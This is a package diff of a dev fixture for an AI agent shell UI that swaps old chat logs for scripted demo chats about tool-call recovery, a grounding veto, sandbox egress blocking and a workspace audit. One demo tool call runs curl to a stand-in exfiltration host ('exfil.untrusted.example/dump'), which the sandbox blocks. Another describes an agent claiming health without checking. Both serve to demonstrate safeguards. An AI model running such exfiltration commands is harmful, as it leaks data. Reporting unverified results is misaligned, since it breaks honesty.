@steerable/agent-shell-web 0.12.4 → 0.12.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +4 -4
- package/src/AppShell.tsx +14 -2
- package/src/components/chat/TurnProcessGroup.tsx +55 -412
- package/src/components/chat/TurnProcessTimeline.tsx +374 -0
- package/src/components/chat/process-status.ts +5 -3
- package/src/components/chat/turn-timeline.ts +47 -11
- package/src/fixtures/browser-dev-data.json +117 -199
- package/src/lib/browser-dev-host-mock.ts +873 -338
- package/src/lib/demo-playbook.ts +766 -0
- package/src/pages/AgentPage.tsx +128 -67
- package/vite.base.js +3 -0
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"version": 1,
|
|
3
|
-
"exportedAt":
|
|
4
|
-
"source": "
|
|
3
|
+
"exportedAt": "2026-11-17T09:00:00.000Z",
|
|
4
|
+
"source": "steerable interactive demo playbook",
|
|
5
5
|
"agents": [
|
|
6
6
|
{
|
|
7
7
|
"id": "local-assistant",
|
|
@@ -9,8 +9,8 @@
|
|
|
9
9
|
"name": "Computer operator",
|
|
10
10
|
"icon": "Cpu",
|
|
11
11
|
"color": "#4f46e5",
|
|
12
|
-
"description": "Default
|
|
13
|
-
"rolePrompt": "You are **Computer operator**, a local
|
|
12
|
+
"description": "Default sandboxed assistant with shell, file, and MCP tool access.",
|
|
13
|
+
"rolePrompt": "You are **Computer operator**, a local sandboxed assistant. Verify with tools before answering.",
|
|
14
14
|
"forbiddenPrompt": null,
|
|
15
15
|
"skillIds": [],
|
|
16
16
|
"toolPolicy": {
|
|
@@ -21,8 +21,8 @@
|
|
|
21
21
|
"isBuiltin": true,
|
|
22
22
|
"isArchived": false,
|
|
23
23
|
"sortOrder": 0,
|
|
24
|
-
"createdAt": "2026-
|
|
25
|
-
"updatedAt": "2026-
|
|
24
|
+
"createdAt": "2026-11-01T08:00:00.000Z",
|
|
25
|
+
"updatedAt": "2026-11-01T08:00:00.000Z"
|
|
26
26
|
},
|
|
27
27
|
{
|
|
28
28
|
"id": "data-analyst",
|
|
@@ -30,8 +30,8 @@
|
|
|
30
30
|
"name": "Data analyst",
|
|
31
31
|
"icon": "Activity",
|
|
32
32
|
"color": "#0ea5e9",
|
|
33
|
-
"description": "
|
|
34
|
-
"rolePrompt": "You are **Data analyst**.
|
|
33
|
+
"description": "Inspects CSV, logs, and benchmark tables with grounded summaries.",
|
|
34
|
+
"rolePrompt": "You are **Data analyst**. Inspect files first, cite observed numbers, and keep summaries concise.",
|
|
35
35
|
"forbiddenPrompt": null,
|
|
36
36
|
"skillIds": [],
|
|
37
37
|
"toolPolicy": {
|
|
@@ -42,17 +42,17 @@
|
|
|
42
42
|
"isBuiltin": true,
|
|
43
43
|
"isArchived": false,
|
|
44
44
|
"sortOrder": 1,
|
|
45
|
-
"createdAt": "2026-
|
|
46
|
-
"updatedAt": "2026-
|
|
45
|
+
"createdAt": "2026-11-01T08:00:00.000Z",
|
|
46
|
+
"updatedAt": "2026-11-01T08:00:00.000Z"
|
|
47
47
|
},
|
|
48
48
|
{
|
|
49
49
|
"id": "all-round-assistant",
|
|
50
50
|
"slug": "all-round-assistant",
|
|
51
51
|
"name": "Assistant",
|
|
52
52
|
"icon": "🔮",
|
|
53
|
-
"color": "#
|
|
54
|
-
"description": "General agent
|
|
55
|
-
"rolePrompt": "You are **Assistant
|
|
53
|
+
"color": "#16a34a",
|
|
54
|
+
"description": "General agent with all installed local skills and tools enabled.",
|
|
55
|
+
"rolePrompt": "You are **Assistant** with access to local shell, file tools, and installed skills.",
|
|
56
56
|
"forbiddenPrompt": null,
|
|
57
57
|
"skillIds": [],
|
|
58
58
|
"toolPolicy": {
|
|
@@ -60,256 +60,174 @@
|
|
|
60
60
|
"tools": []
|
|
61
61
|
},
|
|
62
62
|
"allowExternalSkills": true,
|
|
63
|
+
"loadAllSkills": true,
|
|
63
64
|
"isBuiltin": true,
|
|
64
65
|
"isArchived": false,
|
|
65
66
|
"sortOrder": 2,
|
|
66
|
-
"createdAt": "2026-
|
|
67
|
-
"updatedAt": "2026-
|
|
67
|
+
"createdAt": "2026-11-01T08:00:00.000Z",
|
|
68
|
+
"updatedAt": "2026-11-01T08:00:00.000Z"
|
|
69
|
+
}
|
|
70
|
+
],
|
|
71
|
+
"projects": [
|
|
72
|
+
{
|
|
73
|
+
"id": "proj-steerable-sandbox",
|
|
74
|
+
"name": "steerable-eval-sandbox",
|
|
75
|
+
"folderPath": "/workspace/steerable-eval-sandbox",
|
|
76
|
+
"sourceFolders": [],
|
|
77
|
+
"trusted": true,
|
|
78
|
+
"sortOrder": 0,
|
|
79
|
+
"createdAt": "2026-11-10T09:00:00.000Z",
|
|
80
|
+
"updatedAt": "2026-11-17T09:00:00.000Z"
|
|
68
81
|
}
|
|
69
82
|
],
|
|
70
83
|
"chats": [
|
|
71
84
|
{
|
|
72
|
-
"id": "
|
|
73
|
-
"projectId":
|
|
74
|
-
"userId": "
|
|
75
|
-
"title": "
|
|
85
|
+
"id": "demo-chat-recovery",
|
|
86
|
+
"projectId": "proj-steerable-sandbox",
|
|
87
|
+
"userId": "demo",
|
|
88
|
+
"title": "Malformed tool call recovery (GLM-5.3-Flash)",
|
|
76
89
|
"agentId": "local-assistant",
|
|
77
|
-
"createdAt": "2026-
|
|
78
|
-
"updatedAt": "2026-
|
|
79
|
-
"isPinned":
|
|
80
|
-
"systemPrompt": null,
|
|
81
|
-
"pinnedRefs": null
|
|
82
|
-
},
|
|
83
|
-
{
|
|
84
|
-
"id": "8b13a92e-4b3e-4bac-885f-879ddd9e4835",
|
|
85
|
-
"projectId": null,
|
|
86
|
-
"userId": "local",
|
|
87
|
-
"title": "Enable the csv-data-tools skill",
|
|
88
|
-
"agentId": "all-round-assistant",
|
|
89
|
-
"createdAt": "2026-06-22T04:30:54.662Z",
|
|
90
|
-
"updatedAt": "2026-06-22T04:32:12.657Z",
|
|
91
|
-
"isPinned": false,
|
|
92
|
-
"systemPrompt": null,
|
|
93
|
-
"pinnedRefs": null
|
|
94
|
-
},
|
|
95
|
-
{
|
|
96
|
-
"id": "d536659c-6492-424d-97e8-2f701a9ce5d8",
|
|
97
|
-
"projectId": null,
|
|
98
|
-
"userId": "local",
|
|
99
|
-
"title": "New chat",
|
|
100
|
-
"agentId": "all-round-assistant",
|
|
101
|
-
"createdAt": "2026-06-22T04:19:52.607Z",
|
|
102
|
-
"updatedAt": "2026-06-22T04:20:00.151Z",
|
|
103
|
-
"isPinned": false,
|
|
104
|
-
"systemPrompt": null,
|
|
105
|
-
"pinnedRefs": null
|
|
106
|
-
},
|
|
107
|
-
{
|
|
108
|
-
"id": "4845b527-c9c9-467c-9d72-5fc5f8763aa5",
|
|
109
|
-
"projectId": null,
|
|
110
|
-
"userId": "local",
|
|
111
|
-
"title": "New chat",
|
|
112
|
-
"agentId": "all-round-assistant",
|
|
113
|
-
"createdAt": "2026-06-22T04:12:17.151Z",
|
|
114
|
-
"updatedAt": "2026-06-22T04:12:22.038Z",
|
|
115
|
-
"isPinned": false,
|
|
90
|
+
"createdAt": "2026-11-17T08:50:00.000Z",
|
|
91
|
+
"updatedAt": "2026-11-17T08:50:14.000Z",
|
|
92
|
+
"isPinned": true,
|
|
116
93
|
"systemPrompt": null,
|
|
117
94
|
"pinnedRefs": null
|
|
118
95
|
},
|
|
119
96
|
{
|
|
120
|
-
"id": "
|
|
121
|
-
"projectId":
|
|
122
|
-
"userId": "
|
|
123
|
-
"title": "
|
|
124
|
-
"agentId": "
|
|
125
|
-
"createdAt": "2026-
|
|
126
|
-
"updatedAt": "2026-
|
|
127
|
-
"isPinned": false,
|
|
128
|
-
"systemPrompt": null,
|
|
129
|
-
"pinnedRefs": null
|
|
130
|
-
},
|
|
131
|
-
{
|
|
132
|
-
"id": "19a1d8e7-7e9c-425b-8509-0fe9dd292971",
|
|
133
|
-
"projectId": null,
|
|
134
|
-
"userId": "local",
|
|
135
|
-
"title": "Enable the csv-data-tools skill",
|
|
136
|
-
"agentId": "all-round-assistant",
|
|
137
|
-
"createdAt": "2026-06-22T04:01:21.158Z",
|
|
138
|
-
"updatedAt": "2026-06-22T04:05:08.801Z",
|
|
97
|
+
"id": "demo-chat-grounding",
|
|
98
|
+
"projectId": "proj-steerable-sandbox",
|
|
99
|
+
"userId": "demo",
|
|
100
|
+
"title": "Grounding judge & completion veto",
|
|
101
|
+
"agentId": "local-assistant",
|
|
102
|
+
"createdAt": "2026-11-17T08:40:00.000Z",
|
|
103
|
+
"updatedAt": "2026-11-17T08:40:10.000Z",
|
|
139
104
|
"isPinned": false,
|
|
140
105
|
"systemPrompt": null,
|
|
141
106
|
"pinnedRefs": null
|
|
142
107
|
},
|
|
143
108
|
{
|
|
144
|
-
"id": "
|
|
145
|
-
"projectId":
|
|
146
|
-
"userId": "
|
|
147
|
-
"title": "
|
|
148
|
-
"agentId": "
|
|
149
|
-
"createdAt": "2026-
|
|
150
|
-
"updatedAt": "2026-
|
|
109
|
+
"id": "demo-chat-sandbox",
|
|
110
|
+
"projectId": "proj-steerable-sandbox",
|
|
111
|
+
"userId": "demo",
|
|
112
|
+
"title": "OS sandbox & egress allow-list",
|
|
113
|
+
"agentId": "local-assistant",
|
|
114
|
+
"createdAt": "2026-11-17T08:30:00.000Z",
|
|
115
|
+
"updatedAt": "2026-11-17T08:30:08.000Z",
|
|
151
116
|
"isPinned": false,
|
|
152
117
|
"systemPrompt": null,
|
|
153
118
|
"pinnedRefs": null
|
|
154
119
|
},
|
|
155
120
|
{
|
|
156
|
-
"id": "
|
|
157
|
-
"projectId":
|
|
158
|
-
"userId": "
|
|
159
|
-
"title": "
|
|
160
|
-
"agentId": "
|
|
161
|
-
"createdAt": "2026-
|
|
162
|
-
"updatedAt": "2026-
|
|
121
|
+
"id": "demo-chat-audit",
|
|
122
|
+
"projectId": "proj-steerable-sandbox",
|
|
123
|
+
"userId": "demo",
|
|
124
|
+
"title": "Workspace audit & deliverable export",
|
|
125
|
+
"agentId": "data-analyst",
|
|
126
|
+
"createdAt": "2026-11-17T08:20:00.000Z",
|
|
127
|
+
"updatedAt": "2026-11-17T08:20:11.000Z",
|
|
163
128
|
"isPinned": false,
|
|
164
129
|
"systemPrompt": null,
|
|
165
130
|
"pinnedRefs": null
|
|
166
131
|
}
|
|
167
132
|
],
|
|
168
133
|
"messagesByChatId": {
|
|
169
|
-
"
|
|
134
|
+
"demo-chat-recovery": [
|
|
170
135
|
{
|
|
171
|
-
"id": "
|
|
172
|
-
"chatId": "
|
|
136
|
+
"id": "msg-rec-assistant-1",
|
|
137
|
+
"chatId": "demo-chat-recovery",
|
|
173
138
|
"role": "assistant",
|
|
174
|
-
"content": "
|
|
175
|
-
"createdAt": "2026-
|
|
176
|
-
"messageMetadata": "{\"
|
|
139
|
+
"content": "Fixed via **Steerable malformed-call recovery** (`glm-5.3-flash @high`):\n\n1. **Recovered text call**: Round 1 emitted `<function=local_exec_shell>` as plain text; CoreLoop parsed and ran it instead of dropping the turn.\n2. **Patched root cause**: `src/parser.py` truncated nested unclosed tags before JSON decoding.\n3. **Verified**: `pytest tests/test_parser.py -q` -> `12 passed in 0.41s`.",
|
|
140
|
+
"createdAt": "2026-11-17T08:50:14.000Z",
|
|
141
|
+
"messageMetadata": "{\"completionStatus\": \"completed\", \"durationMs\": 2410, \"executedActions\": [{\"id\": \"rec-1\", \"tool\": \"local_exec_shell\", \"mode\": \"recovered_xml\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"arguments\": {\"command\": \"pytest tests/test_parser.py -q\"}, \"result\": {\"success\": false, \"exitCode\": 1, \"output\": \"FAILED tests/test_parser.py::test_nested_tag_recovery - AssertionError: unclosed tag\"}}, {\"id\": \"rec-2\", \"tool\": \"local_read_file\", \"arguments\": {\"path\": \"src/parser.py\", \"startLine\": 40, \"endLine\": 72}, \"result\": {\"success\": true, \"output\": \"Read 33 lines from src/parser.py (recover_xml_tool_calls).\"}}, {\"id\": \"rec-3\", \"tool\": \"local_write_file\", \"arguments\": {\"path\": \"src/parser.py\", \"summary\": \"Normalize trailing partial XML tag before JSON parse\"}, \"result\": {\"success\": true, \"output\": \"Updated src/parser.py (+4 / -1 lines).\"}}, {\"id\": \"rec-4\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"arguments\": {\"command\": \"pytest tests/test_parser.py -q\"}, \"result\": {\"success\": true, \"exitCode\": 0, \"output\": \"12 passed in 0.41s\"}}], \"timeline\": [{\"type\": \"reasoning\", \"content\": \"Round 1 emitted a plain-text <function=local_exec_shell> block instead of structured tool_calls. Steerable recovered and executed the command inside Seatbelt.\"}, {\"type\": \"tools\", \"actions\": [{\"id\": \"rec-1\", \"tool\": \"local_exec_shell\", \"mode\": \"recovered_xml\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"arguments\": {\"command\": \"pytest tests/test_parser.py -q\"}, \"result\": {\"success\": false, \"exitCode\": 1, \"output\": \"FAILED tests/test_parser.py::test_nested_tag_recovery - AssertionError: unclosed tag\"}}, {\"id\": \"rec-2\", \"tool\": \"local_read_file\", \"arguments\": {\"path\": \"src/parser.py\", \"startLine\": 40, \"endLine\": 72}, \"result\": {\"success\": true, \"output\": \"Read 33 lines from src/parser.py (recover_xml_tool_calls).\"}}, {\"id\": \"rec-3\", \"tool\": \"local_write_file\", \"arguments\": {\"path\": \"src/parser.py\", \"summary\": \"Normalize trailing partial XML tag before JSON parse\"}, \"result\": {\"success\": true, \"output\": \"Updated src/parser.py (+4 / -1 lines).\"}}, {\"id\": \"rec-4\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"arguments\": {\"command\": \"pytest tests/test_parser.py -q\"}, \"result\": {\"success\": true, \"exitCode\": 0, \"output\": \"12 passed in 0.41s\"}}]}, {\"type\": \"text\", \"content\": \"Fixed via **Steerable malformed-call recovery** (`glm-5.3-flash @high`):\\n\\n1. **Recovered text call**: Round 1 emitted `<function=local_exec_shell>` as plain text; CoreLoop parsed and ran it instead of dropping the turn.\\n2. **Patched root cause**: `src/parser.py` truncated nested unclosed tags before JSON decoding.\\n3. **Verified**: `pytest tests/test_parser.py -q` -> `12 passed in 0.41s`.\"}], \"usage\": {\"promptTokens\": 6420, \"completionTokens\": 485, \"totalTokens\": 6905, \"cachedPromptTokens\": 4100, \"costUsd\": 0.0014}, \"suggestedReplies\": [\"Test the grounding judge & completion veto\", \"Check OS sandbox & egress allow-list denial\", \"Audit workspace and export audit-report.md\"]}"
|
|
177
142
|
},
|
|
178
143
|
{
|
|
179
|
-
"id": "
|
|
180
|
-
"chatId": "
|
|
144
|
+
"id": "msg-rec-user-1",
|
|
145
|
+
"chatId": "demo-chat-recovery",
|
|
181
146
|
"role": "user",
|
|
182
|
-
"content": "
|
|
183
|
-
"createdAt": "2026-
|
|
147
|
+
"content": "Fix the failing parser test even if the model outputs malformed tool calls.",
|
|
148
|
+
"createdAt": "2026-11-17T08:50:00.000Z",
|
|
184
149
|
"messageMetadata": null
|
|
185
150
|
}
|
|
186
151
|
],
|
|
187
|
-
"
|
|
152
|
+
"demo-chat-grounding": [
|
|
188
153
|
{
|
|
189
|
-
"id": "
|
|
190
|
-
"chatId": "
|
|
154
|
+
"id": "msg-gnd-assistant-1",
|
|
155
|
+
"chatId": "demo-chat-grounding",
|
|
191
156
|
"role": "assistant",
|
|
192
|
-
"content": "
|
|
193
|
-
"createdAt": "2026-
|
|
194
|
-
"messageMetadata": null
|
|
157
|
+
"content": "Result: **`/health` is not returning `200` — it returned `503`**.\n\n- **Veto triggered**: The initial ungrounded \"all endpoints healthy\" draft was rejected by the Grounding Judge (`veto: retry`).\n- **Verified evidence**: `curl` returned `503`, and `logs/health-check.log` reports `worker_pool` failed to initialize (`missing SQLITE_TMPDIR`).",
|
|
158
|
+
"createdAt": "2026-11-17T08:40:10.000Z",
|
|
159
|
+
"messageMetadata": "{\"completionStatus\": \"completed\", \"durationMs\": 1840, \"executedActions\": [{\"id\": \"gnd-1\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"arguments\": {\"command\": \"curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:4787/health\"}, \"result\": {\"success\": false, \"exitCode\": 1, \"output\": \"503\"}}, {\"id\": \"gnd-2\", \"tool\": \"local_read_file\", \"arguments\": {\"path\": \"logs/health-check.log\", \"startLine\": 1, \"endLine\": 12}, \"result\": {\"success\": true, \"output\": \"ERROR worker_pool: sidecar warm-up failed (missing SQLITE_TMPDIR)\"}}], \"timeline\": [{\"type\": \"reasoning\", \"content\": \"Initial draft claimed 200 OK without calling any tool. Completion veto returned retry, forcing a live check.\"}, {\"type\": \"tools\", \"actions\": [{\"id\": \"gnd-1\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"arguments\": {\"command\": \"curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:4787/health\"}, \"result\": {\"success\": false, \"exitCode\": 1, \"output\": \"503\"}}, {\"id\": \"gnd-2\", \"tool\": \"local_read_file\", \"arguments\": {\"path\": \"logs/health-check.log\", \"startLine\": 1, \"endLine\": 12}, \"result\": {\"success\": true, \"output\": \"ERROR worker_pool: sidecar warm-up failed (missing SQLITE_TMPDIR)\"}}]}, {\"type\": \"text\", \"content\": \"Result: **`/health` is not returning `200` — it returned `503`**.\\n\\n- **Veto triggered**: The initial ungrounded \\\"all endpoints healthy\\\" draft was rejected by the Grounding Judge (`veto: retry`).\\n- **Verified evidence**: `curl` returned `503`, and `logs/health-check.log` reports `worker_pool` failed to initialize (`missing SQLITE_TMPDIR`).\"}], \"usage\": {\"promptTokens\": 5180, \"completionTokens\": 340, \"totalTokens\": 5520, \"cachedPromptTokens\": 3200, \"costUsd\": 0.0011}, \"suggestedReplies\": [\"Demo malformed tool call recovery\", \"Check OS sandbox & egress allow-list denial\", \"Audit workspace and export audit-report.md\"]}"
|
|
195
160
|
},
|
|
196
161
|
{
|
|
197
|
-
"id": "
|
|
198
|
-
"chatId": "
|
|
199
|
-
"role": "user",
|
|
200
|
-
"content": "/csv-data-tools",
|
|
201
|
-
"createdAt": "2026-06-22T04:31:01.151Z",
|
|
202
|
-
"messageMetadata": null
|
|
203
|
-
}
|
|
204
|
-
],
|
|
205
|
-
"d536659c-6492-424d-97e8-2f701a9ce5d8": [
|
|
206
|
-
{
|
|
207
|
-
"id": "9b04bf0c-2d90-4e27-b891-9871207d177e",
|
|
208
|
-
"chatId": "d536659c-6492-424d-97e8-2f701a9ce5d8",
|
|
162
|
+
"id": "msg-gnd-user-1",
|
|
163
|
+
"chatId": "demo-chat-grounding",
|
|
209
164
|
"role": "user",
|
|
210
|
-
"content": "/
|
|
211
|
-
"createdAt": "2026-
|
|
165
|
+
"content": "Verify whether /health is returning 200 OK and cite real check output.",
|
|
166
|
+
"createdAt": "2026-11-17T08:40:00.000Z",
|
|
212
167
|
"messageMetadata": null
|
|
213
168
|
}
|
|
214
169
|
],
|
|
215
|
-
"
|
|
170
|
+
"demo-chat-sandbox": [
|
|
216
171
|
{
|
|
217
|
-
"id": "
|
|
218
|
-
"chatId": "
|
|
219
|
-
"role": "user",
|
|
220
|
-
"content": "/csv-data-tools",
|
|
221
|
-
"createdAt": "2026-06-22T04:12:22.038Z",
|
|
222
|
-
"messageMetadata": null
|
|
223
|
-
}
|
|
224
|
-
],
|
|
225
|
-
"405f5964-f01c-4ece-9c8f-02a73d539469": [
|
|
226
|
-
{
|
|
227
|
-
"id": "c8dc9e96-642b-4232-8c3c-c8abc32a615c",
|
|
228
|
-
"chatId": "405f5964-f01c-4ece-9c8f-02a73d539469",
|
|
172
|
+
"id": "msg-sbx-assistant-1",
|
|
173
|
+
"chatId": "demo-chat-sandbox",
|
|
229
174
|
"role": "assistant",
|
|
230
|
-
"content": "
|
|
231
|
-
"createdAt": "2026-
|
|
232
|
-
"messageMetadata":
|
|
175
|
+
"content": "Verified fail-closed sandbox & egress boundaries:\n\n- **Workspace command**: `ls -la` succeeded inside Seatbelt confinement.\n- **Untrusted egress**: `curl https://exfil.untrusted.example/dump` was blocked by the per-host CONNECT proxy (`EGRESS_DENIED`, exit `126`).",
|
|
176
|
+
"createdAt": "2026-11-17T08:30:08.000Z",
|
|
177
|
+
"messageMetadata": "{\"completionStatus\": \"completed\", \"durationMs\": 1420, \"executedActions\": [{\"id\": \"sbx-1\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"shellClassification\": \"workspace_read\", \"arguments\": {\"command\": \"ls -la /workspace/steerable-eval-sandbox\"}, \"result\": {\"success\": true, \"exitCode\": 0, \"output\": \"README.md package.json src/ tests/\"}}, {\"id\": \"sbx-2\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"shellClassification\": \"egress_network\", \"arguments\": {\"command\": \"curl -fsS https://exfil.untrusted.example/dump\"}, \"result\": {\"success\": false, \"exitCode\": 126, \"output\": \"EGRESS_DENIED: host exfil.untrusted.example is not in CONNECT allow-list\"}}], \"timeline\": [{\"type\": \"reasoning\", \"content\": \"Workspace commands stay confined to /workspace/steerable-eval-sandbox; unallowlisted hosts fail closed at the egress proxy.\"}, {\"type\": \"tools\", \"actions\": [{\"id\": \"sbx-1\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"shellClassification\": \"workspace_read\", \"arguments\": {\"command\": \"ls -la /workspace/steerable-eval-sandbox\"}, \"result\": {\"success\": true, \"exitCode\": 0, \"output\": \"README.md package.json src/ tests/\"}}, {\"id\": \"sbx-2\", \"tool\": \"local_exec_shell\", \"sandbox\": {\"backend\": \"seatbelt\", \"enforcement\": \"full\"}, \"shellClassification\": \"egress_network\", \"arguments\": {\"command\": \"curl -fsS https://exfil.untrusted.example/dump\"}, \"result\": {\"success\": false, \"exitCode\": 126, \"output\": \"EGRESS_DENIED: host exfil.untrusted.example is not in CONNECT allow-list\"}}]}, {\"type\": \"text\", \"content\": \"Verified fail-closed sandbox & egress boundaries:\\n\\n- **Workspace command**: `ls -la` succeeded inside Seatbelt confinement.\\n- **Untrusted egress**: `curl https://exfil.untrusted.example/dump` was blocked by the per-host CONNECT proxy (`EGRESS_DENIED`, exit `126`).\"}], \"usage\": {\"promptTokens\": 4390, \"completionTokens\": 295, \"totalTokens\": 4685, \"cachedPromptTokens\": 2800, \"costUsd\": 0.0009}, \"suggestedReplies\": [\"Demo malformed tool call recovery\", \"Test the grounding judge & completion veto\", \"Audit workspace and export audit-report.md\"]}"
|
|
233
178
|
},
|
|
234
179
|
{
|
|
235
|
-
"id": "
|
|
236
|
-
"chatId": "
|
|
180
|
+
"id": "msg-sbx-user-1",
|
|
181
|
+
"chatId": "demo-chat-sandbox",
|
|
237
182
|
"role": "user",
|
|
238
|
-
"content": "
|
|
239
|
-
"createdAt": "2026-
|
|
183
|
+
"content": "Inspect sandbox posture and test blocking an untrusted egress host.",
|
|
184
|
+
"createdAt": "2026-11-17T08:30:00.000Z",
|
|
240
185
|
"messageMetadata": null
|
|
241
186
|
}
|
|
242
187
|
],
|
|
243
|
-
"
|
|
188
|
+
"demo-chat-audit": [
|
|
244
189
|
{
|
|
245
|
-
"id": "
|
|
246
|
-
"chatId": "
|
|
190
|
+
"id": "msg-aud-assistant-1",
|
|
191
|
+
"chatId": "demo-chat-audit",
|
|
247
192
|
"role": "assistant",
|
|
248
|
-
"content": "
|
|
249
|
-
"createdAt": "2026-
|
|
250
|
-
"messageMetadata":
|
|
193
|
+
"content": "Workspace audit finished and exported `audit-report.md` (click the deliverable card below to download):\n\n- **Sidecar contract**: 38 JSON-RPC methods match protocol schema.\n- **Confinement**: Seatbelt + per-host CONNECT egress allow-list active.\n- **Quality guards**: Malformed call recovery & grounding veto enabled.",
|
|
194
|
+
"createdAt": "2026-11-17T08:20:11.000Z",
|
|
195
|
+
"messageMetadata": "{\"completionStatus\": \"completed\", \"durationMs\": 2150, \"executedActions\": [{\"id\": \"aud-1\", \"tool\": \"local_read_file\", \"arguments\": {\"path\": \"docs/spec/runtime-contract.json\"}, \"result\": {\"success\": true, \"output\": \"sidecarRpcMethods: 38, protocolVersion: 1\"}}, {\"id\": \"aud-2\", \"tool\": \"local_write_file\", \"arguments\": {\"path\": \"/workspace/steerable-eval-sandbox/audit-report.md\"}, \"result\": {\"success\": true, \"output\": \"Wrote 512 bytes to audit-report.md.\"}}], \"timeline\": [{\"type\": \"reasoning\", \"content\": \"Reading runtime contract metadata and writing audit-report.md as a downloadable turn deliverable.\"}, {\"type\": \"tools\", \"actions\": [{\"id\": \"aud-1\", \"tool\": \"local_read_file\", \"arguments\": {\"path\": \"docs/spec/runtime-contract.json\"}, \"result\": {\"success\": true, \"output\": \"sidecarRpcMethods: 38, protocolVersion: 1\"}}, {\"id\": \"aud-2\", \"tool\": \"local_write_file\", \"arguments\": {\"path\": \"/workspace/steerable-eval-sandbox/audit-report.md\"}, \"result\": {\"success\": true, \"output\": \"Wrote 512 bytes to audit-report.md.\"}}]}, {\"type\": \"text\", \"content\": \"Workspace audit finished and exported `audit-report.md` (click the deliverable card below to download):\\n\\n- **Sidecar contract**: 38 JSON-RPC methods match protocol schema.\\n- **Confinement**: Seatbelt + per-host CONNECT egress allow-list active.\\n- **Quality guards**: Malformed call recovery & grounding veto enabled.\"}], \"turnFiles\": [{\"path\": \"/workspace/steerable-eval-sandbox/audit-report.md\", \"kind\": \"created\", \"size\": 512, \"additions\": 15, \"category\": \"deliverable\", \"selection\": \"resolved\", \"deliverySource\": \"present-files\", \"description\": \"Workspace architecture & sandbox audit\"}], \"usage\": {\"promptTokens\": 7120, \"completionTokens\": 540, \"totalTokens\": 7660, \"cachedPromptTokens\": 4900, \"costUsd\": 0.0017}, \"suggestedReplies\": [\"Demo malformed tool call recovery\", \"Test grounding judge & completion veto\", \"Test OS sandbox & egress allow-list denial\"]}"
|
|
251
196
|
},
|
|
252
197
|
{
|
|
253
|
-
"id": "
|
|
254
|
-
"chatId": "
|
|
198
|
+
"id": "msg-aud-user-1",
|
|
199
|
+
"chatId": "demo-chat-audit",
|
|
255
200
|
"role": "user",
|
|
256
|
-
"content": "
|
|
257
|
-
"createdAt": "2026-
|
|
258
|
-
"messageMetadata": null
|
|
259
|
-
}
|
|
260
|
-
],
|
|
261
|
-
"492c1a80-85b2-486a-b365-3d668c9ad7e6": [
|
|
262
|
-
{
|
|
263
|
-
"id": "6ca59f0c-6df7-4747-9c96-80812d459a96",
|
|
264
|
-
"chatId": "492c1a80-85b2-486a-b365-3d668c9ad7e6",
|
|
265
|
-
"role": "user",
|
|
266
|
-
"content": "/csv-data-tools",
|
|
267
|
-
"createdAt": "2026-06-22T03:44:54.479Z",
|
|
268
|
-
"messageMetadata": null
|
|
269
|
-
}
|
|
270
|
-
],
|
|
271
|
-
"4e997d62-20ef-4937-a866-27778dee3a17": [
|
|
272
|
-
{
|
|
273
|
-
"id": "c5d6136b-eaa4-4cc7-878b-450099b7d226",
|
|
274
|
-
"chatId": "4e997d62-20ef-4937-a866-27778dee3a17",
|
|
275
|
-
"role": "assistant",
|
|
276
|
-
"content": "I'll check the MCP tools for `csv-data-tools`.\n\nIt is not registered as its own MCP server. I'll scan local scripts and executables instead.\n\nIt is not installed. Import it from the skills settings.",
|
|
277
|
-
"createdAt": "2026-06-22T03:37:37.601Z",
|
|
278
|
-
"messageMetadata": null
|
|
279
|
-
},
|
|
280
|
-
{
|
|
281
|
-
"id": "68f12c35-7de5-49f3-af14-ca5deae13dee",
|
|
282
|
-
"chatId": "4e997d62-20ef-4937-a866-27778dee3a17",
|
|
283
|
-
"role": "user",
|
|
284
|
-
"content": "/csv-data-tools",
|
|
285
|
-
"createdAt": "2026-06-22T03:36:49.529Z",
|
|
286
|
-
"messageMetadata": null
|
|
287
|
-
},
|
|
288
|
-
{
|
|
289
|
-
"id": "fa89030e-5db1-4d04-9320-e796baeb89e2",
|
|
290
|
-
"chatId": "4e997d62-20ef-4937-a866-27778dee3a17",
|
|
291
|
-
"role": "assistant",
|
|
292
|
-
"content": "Hello. I am the **local assistant**, running on this computer.\n\nI can help with:\n\n**Local terminal**\n- Run shell commands and read or write files\n- Search a codebase and replace in bulk\n\n**Data**\n- Clean CSV and log files\n- Build a summary\n\nType what you want done.",
|
|
293
|
-
"createdAt": "2026-06-22T03:34:48.778Z",
|
|
294
|
-
"messageMetadata": "{\"traceId\":\"tr_f53c2142bbd347b5888f9d50c5444478\",\"completionStatus\":\"completed\",\"trace\":{\"traceId\":\"tr_f53c2142bbd347b5888f9d50c5444478\",\"sessionId\":\"4e997d62-20ef-4937-a866-27778dee3a17\",\"chatId\":\"4e997d62-20ef-4937-a866-27778dee3a17\",\"startedAtMs\":1782099286405,\"eventCount\":3,\"spanCount\":1,\"events\":[{\"name\":\"stream_start\",\"timestampMs\":1782099286405,\"data\":{\"path\":\"/api/v2/chats/4e997d62-20ef-4937-a866-27778dee3a17/run\",\"method\":\"POST\"}},{\"name\":\"completion_decision\",\"timestampMs\":1782099288778,\"data\":{\"status\":\"completed\",\"reason\":\"assistant produced final response with no pending 